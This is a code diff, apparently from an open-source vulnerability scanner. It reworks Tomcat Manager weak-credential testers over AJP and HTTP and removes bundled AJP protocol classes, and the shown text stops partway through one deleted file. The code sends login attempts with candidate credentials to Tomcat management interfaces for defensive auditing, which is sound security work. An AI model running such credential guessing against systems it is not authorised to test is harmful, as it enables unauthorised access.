b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatAjpCredentialTester.java @@ -20,14 +20,14 @@ import static com.google.common.collect.ImmutableList.toImmutableList; import static java.nio.charset.StandardCharsets.UTF_8; +import com.doyensec.ajp13.AjpMessage; +import com.doyensec.ajp13.AjpReader; +import com.doyensec.ajp13.ForwardRequestMessage; +import com.doyensec.ajp13.Pair; import com.google.common.collect.ImmutableList; import com.google.common.flogger.GoogleLogger; import com.google.tsunami.common.data.NetworkEndpointUtils; import com.google.tsunami.common.data.NetworkServiceUtils; -import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13.AjpReader; -import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13.AjpMessage; -import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13.ForwardRequestMessage; -import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13.Pair; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.provider.TestCredential; import com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.tester.CredentialTester; import com.google.tsunami.proto.NetworkService; @@ -48,6 +48,7 @@ public final class TomcatAjpCredentialTester extends CredentialTester { private static final String AJP13_SERVICE = "ajp13"; private static final String TOMCAT_COOKIE_SET = "set-cookie: JSESSIONID"; + private static final String TOMCAT_AUTH_HEADER = "Basic realm=\"Tomcat Manager Application\""; @Inject TomcatAjpCredentialTester() { @@ -70,7 +71,46 @@ public String description() { @Override public boolean canAccept(NetworkService networkService) { - return NetworkServiceUtils.getWebServiceName(networkService).equals(AJP13_SERVICE); + + var uriAuthority = NetworkEndpointUtils.toUriAuthority(networkService.getNetworkEndpoint()); + + boolean canAcceptByNmapReport = + NetworkServiceUtils.getWebServiceName(networkService).equals(AJP13_SERVICE); + + if (canAcceptByNmapReport) { + return true; + } + + boolean canAcceptByCustomFingerprint = false; + + String[] uriParts = uriAuthority.split(":"); + String host = uriParts[0]; + int port = Integer.parseInt(uriParts[1]); + + // Check if the server response indicates a redirection to /manager/html. + // This typically means that the Tomcat Manager is active and automatically + // redirects users to the management interface when accessing the base manager URL. + try { + logger.atInfo().log("probing Tomcat manager - custom fingerprint phase using AJP"); + + List> headers = new LinkedList<>(); + List> attributes = new LinkedList<>(); + AjpMessage request = new ForwardRequestMessage( + 2, "HTTP/1.1", "/manager/html", host, host, host, port, true, headers, attributes); + + byte[] response = sendAndReceive(host, port, request.getBytes()); + AjpMessage responseMessage = AjpReader.parseMessage(response); + + canAcceptByCustomFingerprint = responseMessage.getDescription() + .toLowerCase().contains(TOMCAT_AUTH_HEADER.toLowerCase()); + + } catch (Exception e) { + // This catch block will catch both IOException and NullPointerException + logger.atWarning().withCause(e).log("Unable to query '%s'.", uriAuthority); + return false; + } + + return canAcceptByCustomFingerprint; } @Override @@ -79,9 +119,7 @@ public ImmutableList testValidCredentials( return credentials.stream() .filter(cred -> isTomcatAccessible(networkService, cred)) - .findFirst() - .map(ImmutableList::of) - .orElseGet(ImmutableList::of); + .collect(toImmutableList()); } private boolean isTomcatAccessible(NetworkService networkService, TestCredential credential) { @@ -144,18 +182,22 @@ private byte[] sendAndReceive(String host, int port, byte[] data) throws IOExcep } } - // This method checks if the response headers contain elements indicative of a Tomcat manager page. - // Specifically, it examines the cookies set rather than body elements to improve the efficiency and speed of the plugin. - // By focusing on headers, the plugin can quickly identify successful logins without parsing potentially large and variable body content. + // This method checks if the response headers contain elements indicative of a Tomcat manager + // page. Specifically, it examines the cookies set rather than body elements to improve the + // efficiency and speed of the plugin. By focusing on headers, the plugin can quickly identify + // successful logins without parsing potentially large and variable body content. private static boolean headersContainsSuccessfulLoginElements(AjpMessage responseMessage) { - String responseHeaders = responseMessage.getDescription().toLowerCase(); - - if (responseHeaders.contains(TOMCAT_COOKIE_SET.toLowerCase())) { - logger.atInfo().log( - "Found Tomcat endpoint (TOMCAT_COOKIE_SET string present in the page)"); - return true; - } else { - return false; - } + try { + String responseHeaders = responseMessage.getDescription().toLowerCase(); + if (responseHeaders.contains(TOMCAT_COOKIE_SET.toLowerCase())) { + logger.atInfo().log("Found Tomcat endpoint (TOMCAT_COOKIE_SET string present in the page)"); + return true; + } else { + return false; + } + } catch (Exception e) { + logger.atWarning().withCause(e).log("An error occurred in headersContainsSuccessfulLoginElements"); + return false; + } } } diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatHttpCredentialTester.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatHttpCredentialTester.java index 91d2cb173..071bd053b 100644 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatHttpCredentialTester.java +++ b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/TomcatHttpCredentialTester.java @@ -93,9 +93,9 @@ public boolean canAccept(NetworkService networkService) { logger.atInfo().log("probing Tomcat manager - custom fingerprint phase"); HttpResponse response = httpClient.send(get(url).withEmptyHeaders().build()); - - canAcceptByCustomFingerprint = response.status().code() == 302 - && response.headers().get("Location").get().equals("/manager/html"); + + canAcceptByCustomFingerprint = response.status().code() == 302 + && response.headers().get("Location").get().equals("/manager/html"); } catch (IOException e) { logger.atWarning().withCause(e).log("Unable to query '%s'.", url); @@ -112,9 +112,7 @@ public ImmutableList testValidCredentials( return credentials.stream() .filter(cred -> isTomcatAccessible(networkService, cred)) - .findFirst() - .map(ImmutableList::of) - .orElseGet(ImmutableList::of); + .collect(toImmutableList()); } private boolean isTomcatAccessible(NetworkService networkService, TestCredential credential) { @@ -157,9 +155,9 @@ private HttpResponse sendRequestWithCredentials(String url, TestCredential crede } // This method checks if the response body contains elements indicative of a Tomcat manager page. - // Specifically, it examines the page title rather than body elements because the content of the body can vary - // depending on the language settings of the server. The title is less likely to change and provides a reliable - // indicator of a successful login page. + // Specifically, it examines the page title rather than body elements because the content of the + // body can vary depending on the language settings of the server. The title is less likely to + // change and provides a reliable indicator of a successful login page. private static boolean bodyContainsSuccessfulLoginElements(String responseBody) { Document doc = Jsoup.parse(responseBody); String title = doc.title(); diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AbstractAjpMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AbstractAjpMessage.java deleted file mode 100644 index 99a66c23e..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AbstractAjpMessage.java +++ /dev/null @@ -1,130 +0,0 @@ -/* - * libajp13 - AbstractAjpMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.OutputStream; -import java.io.UnsupportedEncodingException; - -/** - * Partial implementation of the AJP message; all AJP messages extend this class - */ -public abstract class AbstractAjpMessage implements AjpMessage -{ - - private final ByteArrayOutputStream bos; - - AbstractAjpMessage(int packetType) - { - bos = new ByteArrayOutputStream(); - - if (packetType == Constants.PACKET_TYPE_DATA - || packetType == Constants.PACKET_TYPE_FORWARD_REQUEST - || packetType == Constants.PACKET_TYPE_SHUTDOWN - || packetType == Constants.PACKET_TYPE_PING - || packetType == Constants.PACKET_TYPE_CPING) { - bos.write(Constants.AJP_TAG_REQ, 0, Constants.AJP_TAG_REQ.length); - } else { - bos.write(Constants.AJP_TAG_RESP, 0, Constants.AJP_TAG_RESP.length); - } - // Write two bytes as placeholder for the length - bos.write(0); - bos.write(0); - // Exception for the request body packet type - if (packetType != Constants.PACKET_TYPE_DATA) { - bos.write(packetType); - } - } - - /** - * Write an AJP message to a given OutputStream - * - * @param out Destination output stream - * @throws IOException Generic IOException - */ - @Override - public void writeTo(OutputStream out) throws IOException - { - out.write(getBytes()); - out.flush(); - } - - /** - * Returns the byte array of the current AJPMessage instance - * - * @return The AJP packet as array of bytes - */ - @Override - public final byte[] getBytes() - { - byte[] bytes = bos.toByteArray(); - int length = bytes.length - 4; - if (length == -1) { - bytes[2] = -1; - bytes[3] = -1; - } else { - bytes[2] = (byte) ((length & 0xff00) >> 8); - bytes[3] = (byte) (length & 0x00ff); - } - return bytes; - } - - /* - * Four data types: - * Byte - a single byte - * Boolean - a single byte (1=true, 0=false) - * Integer - two bytes (from 0 to 2^16) - * String - variable sized string (2 bytes for size + X bytes string + \0) - */ - void writeByte(int b) - { - bos.write(b); - } - - void writeBytes(byte[] ba) throws IOException - { - bos.write(ba); - } - - void writeInt(int i) - { - bos.write((i & 0xff00) >> 8); - bos.write(i & 0x00ff); - } - - void writeBoolean(boolean b) - { - bos.write(b ? 1 : 0); - } - - /* - * @param s the string to write in the specific message - * @param term whether or not append the null-byte terminator - */ - void writeString(String s, boolean term) - { - if (s == null) { - bos.write(0); - } else { - // size (2 bytes) + string + \0 - writeInt(s.length()); - try { - byte[] buf = s.getBytes("UTF-8"); - bos.write(buf, 0, buf.length); - //From my experiments, the bodyMessage packet doesn't contain the string terminator (mistake?) - if (term) { - bos.write('\0'); - } - } catch (UnsupportedEncodingException ex) { - System.out.println("[!] AbstractAjpMessage UnsupportedEncodingException: " + ex.getLocalizedMessage()); - } - } - } -} \ No newline at end of file diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AjpMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AjpMessage.java deleted file mode 100644 index 5a168b600..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AjpMessage.java +++ /dev/null @@ -1,27 +0,0 @@ -/* - * libajp13 - AjpMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.IOException; -import java.io.OutputStream; - -/** - * Generic interface for all AJP messages (requests and responses) - */ -public interface AjpMessage -{ - - byte[] getBytes(); //returns the raw bytes - - void writeTo(OutputStream out) throws IOException; //writes to a given outputstream - - String getName(); //returns a meaningful name for the packet type - - String getDescription(); //returns a description for the packet type, with actual field values -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AjpReader.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AjpReader.java deleted file mode 100644 index 19d832658..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/AjpReader.java +++ /dev/null @@ -1,184 +0,0 @@ -/* - * libajp13 - AjpReader.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.ByteArrayInputStream; -import java.io.ByteArrayOutputStream; -import java.io.IOException; -import java.io.InputStream; -import java.util.Arrays; - -/** - * This class provides several utility methods for parsing and displaying AJP - * messages - */ -final public class AjpReader -{ - - /** - * Parse and create an AJP message from an array of bytes - * - * @param reply bytes[] Message - * @throws IOException Generic IOException - * @return Instance of AjpMessage - */ - static public AjpMessage parseMessage(byte[] reply) throws IOException - { - //AJP_TAG + size (2 bytes) + [type] - InputStream in = new ByteArrayInputStream(reply); - byte[] header = readBytes(2, false, in); - if (Arrays.equals(header, Constants.AJP_TAG_REQ) || Arrays.equals(header, Constants.AJP_TAG_RESP)) { - int length = readInt(in); - if (length <= 0) { - return null; //empty AjpMessage - } - int type = readByte(in); - byte[] bytes = new byte[length - 1]; - fullyRead(bytes, in); - - switch (type) { - //From Web Server to J2EE Container - case Constants.PACKET_TYPE_CPING: - return new CPingMessage(); - case Constants.PACKET_TYPE_FORWARD_REQUEST: - return ForwardRequestMessage.readFrom(new ByteArrayInputStream(bytes)); - case Constants.PACKET_TYPE_SHUTDOWN: - return new ShutdownMessage(); - case Constants.PACKET_TYPE_PING: - return new PingMessage(); - //From J2EE Container to Web Server - case Constants.PACKET_TYPE_CPONG: - return new CPongMessage(); - case Constants.PACKET_TYPE_SEND_HEADERS: - return SendHeadersMessage.readFrom(new ByteArrayInputStream(bytes)); - case Constants.PACKET_TYPE_SEND_BODY_CHUNK: - return SendBodyChunkMessage.readFrom(new ByteArrayInputStream(bytes)); - case Constants.PACKET_TYPE_GET_BODY_CHUNK: - return GetBodyChunkMessage.readFrom(new ByteArrayInputStream(bytes)); - case Constants.PACKET_TYPE_END_RESPONSE: - return EndResponseMessage.readFrom(new ByteArrayInputStream(bytes)); - default: - //Probably a Data packet (without any prefix code for the type) - ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); - outputStream.write(type); - outputStream.write(bytes); - return BodyMessage.readFrom(new ByteArrayInputStream(outputStream.toByteArray())); - } - } else { - System.out.println("[!] AjpReader Unexpected Header Bytes: " + getHex(header)); - return null; - } - } - - static int readInt(InputStream in) throws IOException - { - byte[] buf = new byte[2]; - fullyRead(buf, in); - return makeInt(buf[0], buf[1]); - } - - static int makeInt(int b1, int b2) - { - return b1 << 8 | (b2 & 0xff); - } - - static String readString(InputStream in) throws IOException - { - int len = readInt(in); - return readString(len, in); - } - - static String readString(int len, InputStream in) throws IOException - { - byte[] strContent = readBytes(len, true, in); - if (strContent != null && strContent.length > 0) { - return new String(strContent, "UTF-8"); - } else { - return ""; - } - } - - static byte[] readBytes(int len, InputStream in) throws IOException - { - //do not expect a null byte - return readBytes(len, false, in); - } - - private static byte[] readBytes(int len, boolean nullByte, InputStream in) throws IOException - { - if (len < 1) { - return null; - } - byte[] buf = new byte[len]; - fullyRead(buf, in); - // Skip the terminating \0 if we're retrieving a String - if (nullByte) { - in.read(); - } - return buf; - } - - static void fullyRead(byte[] buffer, InputStream in) throws IOException - { - int totalRead = 0; - int read = 0; - while ((read = in.read(buffer, totalRead, buffer.length - totalRead)) > 0) { - totalRead += read; - } - if (totalRead != buffer.length) { - System.out.println("[!] AjpReader Short Read. Buffer: " + buffer.length + ", Read: " + totalRead); - } - } - - static int readByte(InputStream in) throws IOException - { - return in.read(); - } - - static boolean readBoolean(InputStream in) throws IOException - { - return readByte(in) > 0; - } - - /** - * Convert a byte array to a string representation of hex values - * - * @param raw bytes[] input (e.g. [65,..]) - * @return input converted as string representation of hex values (e.g. [41,..]) - */ - public static String getHex(byte[] raw) - { - final String HEXES = "0123456789ABCDEF"; - if (raw == null) { - return null; - } - final StringBuilder hex = new StringBuilder(2 * raw.length); - for (final byte b : raw) { - hex.append(HEXES.charAt((b & 0xF0) >> 4)).append(HEXES.charAt((b & 0x0F))); - } - return hex.toString(); - } - - /** - * Convert a string representation of hex values to byte array - * - * @param s String input (e.g. "41") - * @return input converted as byte array (e.g. [65,..]) - */ - public static byte[] toHex(String s) - { - int len = s.length(); - byte[] data = new byte[len / 2]; - for (int i = 0; i < len; i += 2) { - data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) - + Character.digit(s.charAt(i + 1), 16)); - } - return data; - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/BodyMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/BodyMessage.java deleted file mode 100644 index c5315350b..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/BodyMessage.java +++ /dev/null @@ -1,95 +0,0 @@ -/* - * libajp13 - BodyMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.IOException; -import java.io.InputStream; -import java.io.UnsupportedEncodingException; - -/** - * AJP's BodyMessage type, from the web server to the J2EE container - */ -public class BodyMessage - extends AbstractAjpMessage -{ - - final int length; - final byte[] bytes; - - /** - * BodyMessage constructor - * - * @param bytes[] The body message content (data request) - * @throws IOException Generic IOException - */ - public BodyMessage(byte[] bytes) throws IOException - { - super(Constants.PACKET_TYPE_DATA); - this.length = bytes.length; - this.bytes = bytes; - - //Allow "empty" packets (e.g. if there is no more data in the body) - if (length != 0) { - writeInt(length); - writeBytes(bytes); - } - } - - static BodyMessage readFrom(InputStream in) throws IOException - { - int length = AjpReader.readInt(in); - byte[] bytes = AjpReader.readBytes(length, in); - return new BodyMessage(bytes); - } - - @Override - public String toString() - { - try { - return new String(bytes, "UTF-8"); - } catch (UnsupportedEncodingException ex) { - System.out.println("[!] SendBodyChunkMessage UnsupportedEncodingException: " + ex.getLocalizedMessage()); - return "InvalidEncoding"; - } - } - - /** - * Returns the entire body content - * - * @return the body content - */ - public byte[] getBody() - { - return bytes; - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "Body Data Message"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "Remaining request body data." - + "\nContent (HEX):\n0x" + AjpReader.getHex(bytes) - + "\nContent (Ascii):\n" + this.toString(); - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/CPingMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/CPingMessage.java deleted file mode 100644 index c6b32a3cf..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/CPingMessage.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * libajp13 - CPingMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -/** - * AJP's CPing packet, from the web server to the J2EE container - */ -public class CPingMessage - extends AbstractAjpMessage -{ - - /** - * CPingMessage constructor - * - */ - public CPingMessage() - { - super(Constants.PACKET_TYPE_CPING); - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "CPing"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "The web server asks the container to respond quickly with a CPong"; - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/CPongMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/CPongMessage.java deleted file mode 100644 index ab7a2f585..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/CPongMessage.java +++ /dev/null @@ -1,48 +0,0 @@ -/* - * libajp13 - CPongMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -/** - * AJP's CPong message, from the J2EE container to the web server - */ -public class CPongMessage - extends AbstractAjpMessage -{ - - /** - * CPongMessage constructor - * - */ - public CPongMessage() - { - super(Constants.PACKET_TYPE_CPONG); - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "CPong"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "The reply to a CPing request"; - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/Constants.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/Constants.java deleted file mode 100644 index 4c4bdcb38..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/Constants.java +++ /dev/null @@ -1,123 +0,0 @@ -/* - * libajp13 - Constants.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.util.HashMap; -import java.util.Map; - -/* - * This class contains all magic numbers and encoding bytes - */ -final class Constants { - - //Header magic numbers - static final byte[] AJP_TAG_REQ = {0x12, 0x34}; - static final byte[] AJP_TAG_RESP = {0x41, 0x42}; - - //Requests - static final int PACKET_TYPE_DATA = 0; //body data packets don't use the msg type - static final int PACKET_TYPE_FORWARD_REQUEST = 2; - static final int PACKET_TYPE_SHUTDOWN = 7; - static final int PACKET_TYPE_PING = 8; - static final int PACKET_TYPE_CPING = 10; - - //Responses - static final int PACKET_TYPE_SEND_BODY_CHUNK = 3; - static final int PACKET_TYPE_SEND_HEADERS = 4; - static final int PACKET_TYPE_END_RESPONSE = 5; - static final int PACKET_TYPE_GET_BODY_CHUNK = 6; - static final int PACKET_TYPE_CPONG = 9; - - static final int REQUEST_TERMINATOR = 0xFF; - static final int HEADERS_GENERIC = 0xA0; - - static final Map COMMON_HEADERS = new HashMap<>(); - static { - COMMON_HEADERS.put("accept", 0x01); - COMMON_HEADERS.put("accept-charset", 0x02); - COMMON_HEADERS.put("accept-encoding", 0x03); - COMMON_HEADERS.put("accept-language", 0x04); - COMMON_HEADERS.put("authorization", 0x05); - COMMON_HEADERS.put("connection", 0x06); - COMMON_HEADERS.put("content-type", 0x07); - COMMON_HEADERS.put("content-length", 0x08); - COMMON_HEADERS.put("cookie", 0x09); - COMMON_HEADERS.put("cookie2", 0x0A); - COMMON_HEADERS.put("host", 0x0B); - COMMON_HEADERS.put("pragma", 0x0C); - COMMON_HEADERS.put("referer", 0x0D); - COMMON_HEADERS.put("user-agent", 0x0E); - } - - static final String ATTRIBUTE_QUERY_STRING = "query_string"; - static final String ATTRIBUTE_REQATTR_STRING = "req_attribute"; - static final Map COMMON_ATTRIBUTES = new HashMap<>(); - static { - COMMON_ATTRIBUTES.put("context", 0x01); - COMMON_ATTRIBUTES.put("servlet_path", 0x02); - COMMON_ATTRIBUTES.put("remote_user", 0x03); - COMMON_ATTRIBUTES.put("auth_type", 0x04); - COMMON_ATTRIBUTES.put(ATTRIBUTE_QUERY_STRING, 0x05); - COMMON_ATTRIBUTES.put("jvm_route", 0x06); - COMMON_ATTRIBUTES.put("route", 0x06); //In some implementations, it's abbreviated - COMMON_ATTRIBUTES.put("ssl_cert", 0x07); - COMMON_ATTRIBUTES.put("ssl_cipher", 0x08); - COMMON_ATTRIBUTES.put("ssl_session", 0x09); - COMMON_ATTRIBUTES.put(ATTRIBUTE_REQATTR_STRING, 0x0A); - COMMON_ATTRIBUTES.put("ssl_key_size", 0x0B); // ajp14 originally, now in ajp13 with jk 1.2/2.0 - COMMON_ATTRIBUTES.put("secret", 0x0C); - COMMON_ATTRIBUTES.put("stored_method", 0x0D); - } - - static final Map RESPONSE_HEADERS = new HashMap<>(); - static { - RESPONSE_HEADERS.put("content-type", 0x01); - RESPONSE_HEADERS.put("content-language", 0x02); - RESPONSE_HEADERS.put("content-length", 0x03); - RESPONSE_HEADERS.put("date", 0x04); - RESPONSE_HEADERS.put("last-modified", 0x05); - RESPONSE_HEADERS.put("location", 0x06); - RESPONSE_HEADERS.put("set-cookie", 0x07); - RESPONSE_HEADERS.put("set-cookie2", 0x08); - RESPONSE_HEADERS.put("servlet-engine", 0x09); - RESPONSE_HEADERS.put("status", 0x0A); - RESPONSE_HEADERS.put("www-authenticate", 0x0B); - } - - static final Map AJP_METHODS = new HashMap<>(); - static { - AJP_METHODS.put("OPTIONS", 0x01); - AJP_METHODS.put("GET", 0x02); - AJP_METHODS.put("HEAD", 0x03); - AJP_METHODS.put("POST", 0x04); - AJP_METHODS.put("PUT", 0x05); - AJP_METHODS.put("DELETE", 0x06); - AJP_METHODS.put("TRACE", 0x07); - AJP_METHODS.put("PROPFIND", 0x08); - AJP_METHODS.put("PROPPATCH", 0x09); - AJP_METHODS.put("MKCOL", 0x0A); - AJP_METHODS.put("COPY", 0x0B); - AJP_METHODS.put("MOVE", 0x0C); - AJP_METHODS.put("LOCK", 0x0D); - AJP_METHODS.put("UNLOCK", 0x0E); - AJP_METHODS.put("ACL", 0x0F); - AJP_METHODS.put("REPORT", 0x10); - AJP_METHODS.put("VERSION_CONTROL", 0x11); - AJP_METHODS.put("CHECKIN", 0x12); - AJP_METHODS.put("CHECKOUT", 0x13); - AJP_METHODS.put("UNCHECKOUT", 0x14); - AJP_METHODS.put("SEARCH", 0x15); - AJP_METHODS.put("MKWORKSPACE", 0x16); - AJP_METHODS.put("UPDATE", 0x17); - AJP_METHODS.put("LABEL", 0x18); - AJP_METHODS.put("MERGE", 0x19); - AJP_METHODS.put("BASELINE_CONTROL", 0x1A); - AJP_METHODS.put("MKACTIVITY", 0x1B); - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/EndResponseMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/EndResponseMessage.java deleted file mode 100644 index efb5ba619..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/EndResponseMessage.java +++ /dev/null @@ -1,79 +0,0 @@ -/* - * libajp13 - EndResponseMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.IOException; -import java.io.InputStream; - -/** - * AJP's EndResponseMessage, from the J2EE container to the web server - */ -public class EndResponseMessage - extends AbstractAjpMessage -{ - - final boolean reuse; - - /** - * EndResponseMessage constructor - * - * @param reuse boolean A boolean flag to indicate whether the client (e.g. web - * server) should close the TCP connection, or re-use the same - */ - public EndResponseMessage(boolean reuse) - { - super(Constants.PACKET_TYPE_END_RESPONSE); - this.reuse = reuse; - writeBoolean(reuse); - } - - @Override - public String toString() - { - return String.format("Reuse? %s", reuse ? "Yes" : "No"); - } - - static EndResponseMessage readFrom(InputStream in) throws IOException - { - return new EndResponseMessage(AjpReader.readBoolean(in)); - } - - /** - * Returns the reuse flag - * - * @return true if the client (e.g. web server) should close the TCP - * connection, false otherwise - */ - public boolean getReuse() - { - return reuse; - } - - /** - * Returns a meaningful name for the packet type - * - * @return Name of the packet type - */ - @Override - public String getName() - { - return "End Response"; - } - - /** - * Returns a description for the packet type - * - * @return Description of the packet type. - */ - @Override - public String getDescription() - { - return "Marks the end of the response (and thus the request-handling cycle). " + this.toString(); - } -} diff --git a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/ForwardRequestMessage.java b/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/ForwardRequestMessage.java deleted file mode 100644 index 0c58cdfcc..000000000 --- a/google/detectors/credentials/generic_weak_credential_detector/src/main/java/com/google/tsunami/plugins/detectors/credentials/genericweakcredentialdetector/testers/tomcat/ajp/ForwardRequestMessage.java +++ /dev/null @@ -1,418 +0,0 @@ -/* - * libajp13 - ForwardRequestMessage.java - * - * Copyright (c) 2017 Luca Carettoni - Doyensec LLC. - * Copyright (c) 2010 Espen Wiborg - * - * Licensed under the Apache License, Version 2.0 - */ -package com.google.tsunami.plugins.detectors.credentials.genericweakcredentialdetector.testers.ajp13; - -import java.io.IOException; -import java.io.InputStream; -import java.net.InetAddress; -import java.net.URL; -import 